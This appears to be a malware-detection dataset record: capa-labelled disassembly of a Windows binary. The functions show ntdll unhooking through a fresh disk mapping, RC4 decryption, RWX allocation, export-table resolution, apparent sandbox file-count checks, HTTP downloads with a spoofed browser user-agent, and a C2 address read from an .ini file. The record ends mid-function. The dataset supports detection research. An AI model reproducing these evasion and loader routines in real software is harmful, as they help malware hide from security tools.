joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000dc3e
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov r15, rcx
mov rax, qword [0x140292580]
xor rax, rsp
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [0x14024c820]
lea rcx, [rsp + 0x40]
movaps xmmword [rcx], xmm0
movabs rax, 0x6c64746e5c32336d
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x18], 0x6c642e6c
mov word [rcx + 0x1c], WSAGetLastError
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r14d, r14d
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000de2f
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r14d, r14d
mov rcx, rsi
xor edx, edx
mov r8d, 2
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
test rax, rax
je 0x14000de2a
mov rdi, rax
mov qword [rsp + 0x20], 0
xor r14d, r14d
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
test rax, rax
je 0x14000de21
mov rbx, rax
mov rcx, rax
mov rdx, r15
call fcn.14000de59
mov qword [rsp + 0x38], rax
test rax, rax
je 0x14000dd84
movsxd r12, dword [rbx + 0x3c]
mov edx, dword [rbx + r12 + 0xa0]
test edx, edx
je 0x14000dd84
add r12, rbx
mov rcx, r12
call fcn.14000df65
cmp rax, 0xffffffffffffffff
je 0x14000dd84
mov r13, rax
mov edx, dword [rbx + rax]
test edx, edx
je 0x14000dd95
add r13, rbx
mov rcx, r12
call fcn.14000df65
mov rbp, rax
add rax, rbx
cmp rax, qword [rsp + 0x38]
jne 0x14000dd9a
xor r15d, r15d
jmp 0x14000ddcc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor r14d, r14d
jmp 0x14000de21
xor r14d, r14d
jmp 0x14000de18
mov eax, 1
xor r14d, r14d
mov r15d, eax
lea rax, [r15 + r15*2]
mov edx, dword [r13 + rax*4]
test edx, edx
je 0x14000de18
mov rcx, r12
call fcn.14000df65
mov rbp, rax
lea rcx, [rax + rbx]
lea eax, [r15 + 1]
cmp rcx, qword [rsp + 0x38]
jne 0x14000dda2
lea rax, [r15 + r15*2]
mov edx, dword [r13 + rax*4 + 4]
mov rcx, r12
call fcn.14000df65
mov r12, rax
sub r12, rbp
xor r14d, r14d
xor ecx, ecx
mov rdx, r12
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x14000de18
mov r13, rax
mov rcx, rax
mov rdx, qword [rsp + 0x38]
mov r8, r12
call fcn.140011360
mov r14, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x14000de38
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140048370
mov rax, r14
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000de59
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
xor r14d, r14d
test rcx, rcx
je 0x14000df34
mov rdi, rdx
test rdx, rdx
je 0x14000df34
mov rsi, rcx
movsxd rbx, dword [rcx + 0x3c]
mov edx, dword [rcx + rbx + 0x88]
test edx, edx
je 0x14000df31
add rbx, rsi
mov rcx, rbx
call fcn.14000df65
cmp eax, 0xffffffff
je 0x14000df31
mov r13d, eax
mov r12d, dword [rsi + r13 + 0x18]
test r12, r12
je 0x14000df31
mov edx, dword [rsi + r13 + 0x20]
mov rcx, rbx
call fcn.14000df65
mov r14, rax
cmp r14d, 0xffffffff
je 0x14000df31
mov edx, dword [rsi + r13 + 0x1c]
mov rcx, rbx
call fcn.14000df65
mov r15, rax
cmp r15d, 0xffffffff
je 0x14000df31
mov edx, dword [rsi + r13 + 0x24]
mov rcx, rbx
call fcn.14000df65
cmp eax, 0xffffffff
je 0x14000df31
mov ecx, r14d
mov r15d, r15d
add r15, rsi
mov r13d, eax
lea rbp, [rcx + rsi]
add rbp, 0xfffffffffffffffc
xor r14d, r14d
mov edx, dword [rbp + r12*4]
mov rcx, rbx
call fcn.14000df65
lea rcx, [rax + rsi]
mov rdx, rdi
call fcn.1401d4380
test eax, eax
je 0x14000df48
dec r12
jne 0x14000df0d
jmp 0x14000df34
xor r14d, r14d
mov rax, r14
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add r13, rsi
movzx eax, word [r13 + r12*2 - 2]
mov edx, dword [r15 + rax*4]
mov rcx, rbx
call fcn.14000df65
mov r14, rax
add r14, rsi
jmp 0x14000df34

Function at 0x14000dfb6
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov edi, r8d
mov esi, edx
test ecx, ecx
je 0x14000dfe0
call fcn.14000fb8a
test eax, eax
je 0x14000e02e
call fcn.14000fcad
test eax, eax
je 0x14000e02e
call fcn.14000fd6a
test eax, eax
je 0x14000e02e
test edi, edi
je 0x14000dfed
call fcn.14000fe91
test eax, eax
je 0x14000e02e
test esi, esi
je 0x14000e026
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x14000ff00]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
add rsp, 0x38
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x38
pop rdi
pop rsi
ret
mov ecx, 1
call fcn.1401cba54
int3
Function at 0x14000e058
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x230
mov ebx, r9d
mov r14, r8
mov edi, edx
mov rsi, rcx
mov rax, qword [0x140292580]
xor rax, rsp
mov qword [rsp + 0x228], rax
xor r15d, r15d
lea rcx, [rsp + 0x120]
mov r8d, 0x100
xor edx, edx
call fcn.140011430
lea rcx, [rsp + 0x20]
mov r8d, 0x100
xor edx, edx
call fcn.140011430
mov byte [rsp + r15 + 0x20], r15b
mov eax, r15d
xor edx, edx
div ebx
mov al, byte [r14 + rdx]
mov byte [rsp + r15 + 0x120], al
inc r15
cmp r15, 0x100
jne 0x14000e0ad
xor eax, eax
xor ecx, ecx
mov dl, byte [rsp + rax + 0x20]
add cl, dl
add cl, byte [rsp + rax + 0x120]
movzx r8d, cl
mov r9b, byte [rsp + r8 + 0x20]
mov byte [rsp + rax + 0x20], r9b
mov byte [rsp + r8 + 0x20], dl
inc rax
cmp rax, 0x100
jne 0x14000e0d5
test edi, edi
je 0x14000e167
mov eax, edi
xor ecx, ecx
xor edx, edx
xor r8d, r8d
lea r9d, [r8 + 1]
lea r10d, [r8 + 0x100]
test r9d, r9d
cmovns r10d, r9d
and r10d, 0xffffff00
neg r10d
add r8d, r10d
inc r8d
movsxd r9, r8d
mov r10b, byte [rsp + r9 + 0x20]
add dl, r10b
movzx r11d, dl
mov bl, byte [rsp + r11 + 0x20]
mov byte [rsp + r9 + 0x20], bl
mov byte [rsp + r11 + 0x20], r10b
add r10b, byte [rsp + r9 + 0x20]
movzx r9d, r10b
mov r9b, byte [rsp + r9 + 0x20]
xor byte [rsi + rcx], r9b
inc rcx
cmp rax, rcx
jne 0x14000e10d
mov rcx, qword [rsp + 0x228]
xor rcx, rsp
call fcn.140048370
nop
add rsp, 0x230
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x14000e3be
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push r14
push rsi
push rdi
push rbx
mov eax, 0x92888
call fcn.14004a350
sub rsp, rax
mov rbx, rdx
mov r14, rcx
mov rax, qword [0x140292580]
xor rax, rsp
mov qword [rsp + 0x92880], rax
lea rsi, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_107.0.5304.88_Safari_537.36
lea rax, [rsp + 0x92800]
mov ecx, recv
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov dword [rax + 0x70], 0x36332e
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x14000e495
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov rcx, rax
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x14000e495
mov rsi, rax
lea rdi, [rsp + 0x40]
mov r8d, 0x927c0
mov rcx, rdi
xor edx, edx
call fcn.140011430
lea r9, [rsp + 0x3c]
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x927c0
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000e495
lea rdx, [rsp + 0x40]
mov r8d, 0x927c0
mov rcx, rbx
call fcn.140011360
mov rcx, qword [rsp + 0x92880]
xor rcx, rsp
call fcn.140048370
nop
add rsp, 0x92888
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x14000e729
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rbx, r8
mov qword [rbp - 0x10], rdx
mov r13, rcx
lea r15, [rbp - 1]
mov rcx, r15
call fcn.140009c3e
lea r14, [rbp - 0x28]
mov edx, 0x100
mov rcx, r14
mov r8, r15
call fcn.14000ebac
xor r15d, r15d
mov rcx, r14
mov rdx, r15
call fcn.14000ebd2
mov byte [rax], r15b
inc r15
cmp r15, 0x100
jne 0x14000e773
xor r14d, r14d
lea r15, [rbp - 0x28]
xor esi, esi
mov rcx, r15
mov rdx, r14
call fcn.14000ebd2
movzx edi, byte [rax]
add edi, esi
mov rcx, rbx
call fcn.14000e930
mov rcx, rax
mov rax, r14
xor edx, edx
div rcx
mov rcx, rbx
call fcn.14000ebda
movsx eax, byte [rax]
mov esi, edi
add esi, eax
lea eax, [rax + rdi + 0xff]
cmovns eax, esi
and eax, 0xffffff00
sub esi, eax
movsxd rdx, esi
mov rcx, r15
call fcn.14000ebd2
mov r12, rax
mov rcx, r15
mov rdx, r14
call fcn.14000ebd2
mov rcx, rax
mov rdx, r12
call fcn.14000ebf0
inc r14
cmp r14, 0x100
jne 0x14000e796
mov rcx, r13
mov rsi, qword [rbp - 0x10]
mov rdx, rsi
call fcn.14000bf4a
mov rcx, rsi
call fcn.14000e930
test rax, rax
je 0x14000e8df
xor ebx, ebx
xor esi, esi
xor edi, edi
lea eax, [rsi + 1]
lea ecx, [rsi + 0x100]
test eax, eax
cmovns ecx, eax
and ecx, 0xffffff00
neg ecx
add esi, ecx
inc esi
movsxd r15, esi
lea r14, [rbp - 0x28]
mov rcx, r14
mov rdx, r15
call fcn.14000ebd2
add dil, byte [rax]
movzx r12d, dil
mov rcx, r14
mov rdx, r12
call fcn.14000ebd2
mov r14, r13
mov r13, rax
lea rcx, [rbp - 0x28]
mov rdx, r15
call fcn.14000ebd2
mov rcx, rax
mov rdx, r13
mov r13, r14
call fcn.14000ebf0
lea r14, [rbp - 0x28]
mov rcx, r14
mov rdx, r15
call fcn.14000ebd2
mov r15b, byte [rax]
mov rcx, r14
mov rdx, r12
call fcn.14000ebd2
add r15b, byte [rax]
movzx edx, r15b
mov rcx, r14
call fcn.14000ebd2
mov r15b, byte [rax]
mov rcx, r13
mov rdx, rbx
call fcn.14000ebda
xor byte [rax], r15b
inc rbx
mov rcx, qword [rbp - 0x10]
call fcn.14000e930
cmp rax, rbx
ja 0x14000e82f
lea rcx, [rbp - 0x28]
call fcn.14000e4ba
mov rax, r13
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x14000e935
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov esi, r8d
mov rdi, rcx
movsxd rbx, edx
mov rcx, rbx
call fcn.140021e6c
mov r14, rax
mov ecx, esi
call fcn.1401d3d44
test ebx, ebx
jle 0x14000e97e
xor r15d, r15d
mov bpl, byte [rdi + r15]
xor bpl, sil
call fcn.1401d3d5c
xor al, bpl
mov byte [r14 + r15], al
inc r15
cmp rbx, r15
jne 0x14000e963
mov rax, r14
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14000e98e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb8
mov rax, qword [0x140292580]
xor rax, rsp
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [0x14024c820]
lea rbx, [rsp + 0x90]
movaps xmmword [rbx], xmm0
movabs rax, 0x6c64746e5c32336d
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x18], 0x6c642e6c
mov ax, WSAGetLastError
mov word [rbx + 0x1c], ax
mov dword [rsp + 0x80], 0x7865742e
mov word [rsp + 0x84], reloc.WS2_32.dll_WSACleanup
movabs rcx, 0x6c642e6c6c64746e
lea rsi, [rsp + 0x86]
mov qword [rsi], rcx
mov word [rsi + 8], ax
xor edi, edi
lea r14, [rsp + 0x60]
mov qword [r14 + 0x10], rdi
xorps xmm0, xmm0
movaps xmmword [r14], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r15, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x48], r15
mov rcx, r15
mov qword [rsp + 0x50], rax
mov rdx, rax
mov r8, r14
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
mov rbp, qword [r14]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x40], rax
mov rcx, rax
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r14, rax
movsxd rsi, dword [rbp + 0x3c]
movzx r12d, word [rsi + rbp + 6]
test r12w, r12w
je 0x14000eb61
lea rdi, [rsi + rbp]
add rdi, 0x18
xor ebx, ebx
lea r15, [rsp + 0x80]
movzx r13d, word [rbp + rsi + 0x14]
add r13, rdi
mov rcx, r13
mov rdx, r15
call fcn.1401d4380
test eax, eax
jne 0x14000eb51
mov dword [rsp + 0x5c], 0
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rbp
mov r8d, 0x40
lea r9, [rsp + 0x5c]
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r12
mov r8d, dword [r13 + 8]
mov edx, dword [r13 + 0xc]
lea rcx, [rdx + rbp]
add rdx, r14
call fcn.140011360
mov r8d, dword [rsp + 0x5c]
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rbp
xor r9d, r9d
call r12
movzx r12d, word [rbp + rsi + 6]
inc rbx
movzx eax, r12w
add rdi, 0x28
cmp rbx, rax
jb 0x14000eae1
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call rsi
mov rcx, qword [rsp + 0x40]
call rsi
mov rcx, r14
call rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140048370
nop
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000fb8a
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x238], 0xfffffffffffffffe
mov ecx, 0x208
call fcn.140021e6c
mov rdi, rax
mov qword [rsp + 0x20], rax
xor esi, esi
xor ecx, ecx
mov edx, reloc.WS2_32.dll_recv
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x14000fc6f
lea rsi, [rbp + 0x218]
mov rcx, rsi
mov rdx, rdi
call fcn.14000ff24
lea r8, [0x14025ff06]
lea rcx, [rbp + 0x1f8]
mov rdx, rsi
call fcn.1400104d0
lea rdi, [rbp + 0x1f8]
mov rcx, rdi
call fcn.140010010
lea rdx, [rbp - 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
mov rcx, rdi
call fcn.140010016
lea rcx, [rbp + 0x218]
call fcn.140010016
cmp rsi, 0xffffffffffffffff
je 0x14000fc6d
mov ebx, 0xffffffff
lea rdi, [rbp - 0x58]
mov r14, qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rcx, rsi
mov rdx, rdi
call r14
inc ebx
test eax, eax
jne 0x14000fc4a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
xor esi, esi
cmp ebx, 0xa
setae sil
jmp 0x14000fc6f
xor esi, esi
mov eax, esi
add rsp, 0x2c0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret

Function at 0x14000fd6a
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x238], 0xfffffffffffffffe
lea rcx, [0x1401f87a8]
xor esi, esi
lea r9, [rbp + 0x230]
xor edx, edx
xor r8d, r8d
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x14000fe53
mov rdx, qword [rbp + 0x230]
lea rsi, [rbp + 0x210]
mov rcx, rsi
call fcn.14000ff24
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea r8, [0x14025ff06]
lea rcx, [rbp + 0x1f0]
mov rdx, rsi
call fcn.14000ff94
lea rdi, [rbp + 0x1f0]
mov rcx, rdi
call fcn.140010010
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
mov rcx, rdi
call fcn.140010016
cmp rsi, 0xffffffffffffffff
je 0x14000fe45
mov ebx, 0xffffffff
lea rdi, [rbp - 0x60]
mov r14, qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rcx, rsi
mov rdx, rdi
call r14
inc ebx
test eax, eax
jne 0x14000fe22
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
xor esi, esi
cmp ebx, 9
setae sil
jmp 0x14000fe47
xor esi, esi
lea rcx, [rbp + 0x210]
call fcn.140010016
mov eax, esi
add rsp, 0x2c0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x14001111e
Capabilities:
Read .ini file

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x28], 0xfffffffffffffffe
mov rsi, rcx
lea rax, str.._InitSystem.ini
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x20
lea rcx, str.Base
lea rdx, str.ServerIPAddress
lea r8, str.0.0.0.0
lea rdi, [rbp - 0x20]
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
add rsi, 0x180
mov rcx, rsi
mov rdx, rdi
call fcn.14000b056
mov rcx, rsi
call fcn.14001126c
test al, al
jne 0x1400111a9
lea rdx, str.0.0.0.0
mov rcx, rsi
call fcn.14001127f
mov ecx, eax
mov eax, 1
test cl, cl
je 0x140011222
mov rsi, rbp
mov rcx, rsi
call fcn.14001bca4
lea rdx, [0x14025fe74]
mov rcx, rsi
mov r8d, 0x1002
xor r9d, r9d
call fcn.14001be00
test eax, eax
je 0x140011218
movaps xmm0, xmmword [0x14024c890]
lea rsi, [rbp - 0x50]
movaps xmmword [rsi], xmm0
movaps xmm0, xmmword [0x14024c8a0]
movaps xmmword [rsi + 0x10], xmm0
mov dword [rsi + 0x20], 0x312e3637
mov word [rsi + 0x24], 0x3033
mov byte [rsi + 0x26], 0
mov rcx, rsi
call fcn.1401d4400
mov rcx, rbp
mov rdx, rsi
mov r8d, eax
call fcn.14001c26c
mov rcx, rbp
call fcn.14001c3ec
mov rcx, rbp
call fcn.14001c450
xor eax, eax
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret

Function at 0x14001c1c4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rdx, [rsp + 0x34]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x30], eax
cmp eax, 0xffffffff
jne 0x14001c1ef
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14001c1fa
mov rax, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
lea rcx, [rbx + 0x18]
call fcn.14000ab34
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.140048924
int3

Function at 0x14001c218
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
test r8d, r8d
jne 0x14001c22a
xor eax, eax
jmp 0x14001c247
mov rcx, qword [rcx + 8]
lea r9, [rsp + 0x50]
and qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001c24d
mov eax, dword [rsp + 0x50]
add rsp, 0x30
pop rbx
ret
lea rcx, [rbx + 0x18]
call fcn.14000ab34
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.140048924
int3

Function at 0x14001c26c
Capabilities:
Write file on windows

Disassembly:
test r8d, r8d
je 0x14001c2aa
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov rdi, rcx
mov ebx, r8d
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001c2ab
cmp dword [rsp + 0x50], ebx
jne 0x14001c2c8
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
lea rcx, [rdi + 0x18]
call fcn.14000ab34
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.140048924
int3
lea rcx, [rdi + 0x18]
call fcn.14000ab34
or edx, 0xffffffff
mov r8, rax
lea ecx, [rdx + 0xe]
call fcn.1400485ec
int3
Function at 0x14001cf24
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov rdi, rdx
mov r8, rcx
test rdx, rdx
je 0x14001cfc4
movzx eax, word [rdx]
mov r9d, ebx
jmp 0x14001cf60
movzx eax, ax
add rax, rdx
mov rdx, rax
inc r9d
movzx eax, word [rax]
test ax, ax
jne 0x14001cf51
test r9d, r9d
je 0x14001cfc4
cmp r9d, 1
jne 0x14001cf84
mov r8, r14
xor edx, edx
xor ecx, ecx
call sub.SHELL32.dll_SHGetSpecialFolderLocation
test eax, eax
js 0x14001cfdd
xor eax, eax
jmp 0x14001cfc7
lea esi, [r9 - 1]
mov rcx, rdi
test esi, esi
je 0x14001cfa0
mov edx, esi
movzx eax, word [rcx]
add bx, ax
add rcx, rax
sub rdx, 1
jne 0x14001cf91
movzx edx, bx
mov rcx, r8
add edx, 2
call fcn.14001cd38
movzx r8d, bx
mov rdx, rdi
mov rcx, rax
mov qword [r14], rax
call fcn.1401eab00
mov eax, esi
jmp 0x14001cfc7
or eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
call fcn.14002482c
int3
Function at 0x14001d6c4
Capabilities:
Resolve dns

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x60
lea rbp, [rsp + 0x40]
mov rax, qword [0x140292580]
xor rax, rbp
mov qword [rbp + 0x18], rax
mov r12d, r8d
mov r14, rdx
mov r15, rcx
xor ebx, ebx
mov qword [rbp], rbx
test rdx, rdx
jne 0x14001d704
mov ecx, 0x2726
jmp 0x14001d84b
xor edx, edx
lea r8d, [rdx + 0x10]
lea rcx, [rbp + 8]
call fcn.1401eb1a0
mov rcx, r14
call fcn.1401d4eec
inc eax
cdqe
lea rsi, [rax + rax]
mov eax, 0x80000000
add rax, rsi
mov ecx, 0xffffffff
cmp rax, rcx
ja 0x14001d846
movsxd rdi, esi
cmp esi, 0x400
jg 0x14001d776
mov rcx, rdi
call fcn.14001d10c
test al, al
je 0x14001d776
lea rax, [rdi + 0xf]
cmp rax, rdi
ja 0x14001d763
movabs rax, 0xffffffffffffff0
and rax, 0xfffffffffffffff0
call fcn.14004a350
sub rsp, rax
lea rdi, [rsp + 0x40]
jmp 0x14001d7a7
mov rax, rdi
not rax
cmp rax, 0x10
jb 0x14001d882
lea rcx, [rdi + 0x10]
call fcn.1401d3d3c
test rax, rax
jne 0x14001d798
xor edi, edi
jmp 0x14001d7a7
and qword [rax], 0
mov rbx, rax
mov qword [rbp], rax
lea rdi, [rax + 0x10]
test rdi, rdi
je 0x14001d846
mov byte [rdi], 0
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
or r9d, 0xffffffff
mov r8, r14
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x14001d846
mov eax, 2
mov word [rbp + 8], ax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0xc], eax
mov ecx, 0xffffffff
cmp eax, ecx
jne 0x14001d81a
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x14001d6fa
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp + 0xc], eax
movzx ecx, r12w
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0xa], ax
mov rax, qword [r15]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 8]
mov rcx, r15
mov rax, qword [rax + 0x68]
call qword [case.0x14003defe.0]
mov edi, eax
jmp 0x14001d853
mov ecx, 8
call qword [sym.imp.WS2_32.dll_WSASetLastError]
xor edi, edi
jmp 0x14001d860
mov rcx, rbx
mov rbx, qword [rbx]
call fcn.1401d2ef0
test rbx, rbx
jne 0x14001d855
mov eax, edi
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.140048370
lea rsp, [rbp + 0x20]
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80070216
call fcn.140009fb5
int3

Function at 0x14001ddac
Capabilities:
Connect socket

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 8]
call qword [sym.imp.WS2_32.dll_connect]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x140020568
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
mov rbx, rdx
mov rbp, rcx
call fcn.140023ca4
mov r8d, 5
mov rdx, rbx
mov rdi, qword [rax + 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400205d2
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400205d2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov rcx, rbp
call fcn.1400205ec
jmp 0x1400205d4
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140020964
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp rdx, 0x10000
jae 0x1400209a3
